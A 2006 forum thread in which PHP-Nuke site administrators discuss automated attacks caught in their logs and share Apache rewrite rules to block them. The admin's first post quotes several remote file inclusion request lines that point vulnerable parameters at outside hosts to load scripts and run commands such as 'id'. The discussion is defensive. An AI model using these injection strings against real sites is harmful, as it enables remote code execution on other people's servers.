| Author |
Message |
Guardian2003 Site Admin

Joined: Aug 28, 2003 Posts: 5057
|
Posted:
Tue Feb 21, 2006 3:55 am |
|
Perhaps some have seen my statement "Probably the most secure version of nuke ever" on my site over at and thought I was issuing a challenge.
The following attempts have been tried (for modules which do not exist )
| Code: | | modules/Forums/admin/admin_styles.php?phpbb_root_path=http://saudia.100free.com/asc.txt?&cmd=uname%20-a;id |
| Code: | | /modules/4nAlbum/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id |
| Quote: | www.code-authors.com/index.php?cat=http://www.lilspage.de/modules/tool25.dat?cmd=id
Get String:
|
| Quote: | | /modules/My_eGallery/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id |
| Quote: | | /modules/My_eGallery/public/displayCategory.php?basepath=http://www.clan-ff.net/vwar/tool25.dat?&cmd=id |
These are quite obviously some sort of automated attack and needless to say they didnt work but what would be the best way to block such attacks? |
|
|
|
 |
djmaze Subject Matter Expert

Joined: May 15, 2004 Posts: 574 Location: http://tinyurl.com/5z8dmv
|
Posted:
Tue Feb 21, 2006 7:21 am |
|
| Code: |
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]
|
|
|
|
|
 |
Guardian2003 Site Admin

Joined: Aug 28, 2003 Posts: 5057
|
Posted:
Tue Feb 21, 2006 7:39 am |
|
Interesting - thanks for that I'll try it and see what develops. |
|
|
|
 |
djmaze Subject Matter Expert

Joined: May 15, 2004 Posts: 574 Location: http://tinyurl.com/5z8dmv
|
Posted:
Tue Feb 21, 2006 8:06 am |
|
here's even a better version that also denies ../../ as seen in rush attacks
for example an exploit in file=../../.htaccess
and another for UNION
RewriteCond %{QUERY_STRING} =../ [NC, OR]
RewriteCond %{QUERY_STRING} "%20UNION" [NC, OR]
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]
NOTE: this is will NOT make you 100% safe since phpnuke uses register_globals so an attack can also be made thru POST and COOKIE |
|
|
|
 |
Guardian2003 Site Admin

Joined: Aug 28, 2003 Posts: 5057
|
Posted:
Tue Feb 21, 2006 8:59 am |
|
|
|
 |
evaders99 Moderator

Joined: Apr 30, 2004 Posts: 2887
|
Posted:
Tue Feb 21, 2006 9:08 am |
|
admin_styles.php is a known attack that has hit phpBB systems (and those using phpBB derivates) several times.
Ditto 4nAlbum and My_eGallery using the same displayCategory.php
The attack on index.php is nothing I have seen. Must have been a "cat" variable vulnerable somewhere.
Does Sentinel not block these attacks?
---
For my site not using Sentinel, here's what I have right now.
Using DisError to capture the 404 messages and read the 'REDIRECT_URL'
If it includes anything on 'xmlrpc.php' 'awstats.pl' 'displayCategory.php' 'upgrade_album.php'
They get a banned |
|
|
|
 |
Guardian2003 Site Admin

Joined: Aug 28, 2003 Posts: 5057
|
Posted:
Tue Feb 21, 2006 9:52 am |
|
evaders - with the exception of the third quote (above) none tripped Sentinel but that is probably due to my sloppy blocker configuration which I'm looking at right now. |
|
|
|
 |
|
|
|
|